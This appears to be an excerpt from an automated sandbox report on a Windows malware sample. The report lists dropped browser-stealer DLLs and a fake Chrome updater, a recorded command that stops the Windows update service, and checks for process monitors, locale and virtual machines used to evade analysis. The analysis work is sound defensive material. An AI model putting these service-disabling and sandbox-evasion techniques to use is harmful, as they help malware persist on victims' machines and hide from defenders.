Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\ProgramData\BAAEHDBFID.exe	File created: C:\ProgramData\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\BAAEHDBFID.exe	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chrome_93[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\ProgramData\BAAEHDBFID.exe	File created: C:\ProgramData\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\BAAEHDBFID.exe	Jump to dropped file
Source: C:\Users\user\Desktop\X9d3758tok.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\ProgramData\BAAEHDBFID.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\ProgramData\BAAEHDBFID.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\Google\Chrome\updater.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Google\Chrome\updater.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\ProgramData\BAAEHDBFID.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\X9d3758tok.exe

Code function: 0_2_00419F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419F20

Source: C:\Users\user\Desktop\X9d3758tok.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\X9d3758tok.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-89107

Query firmware table information (likely to detect VMs)

Source: C:\ProgramData\BAAEHDBFID.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\ProgramData\BAAEHDBFID.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Source: C:\ProgramData\Google\Chrome\updater.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\Google\Chrome\updater.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\Google\Chrome\updater.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

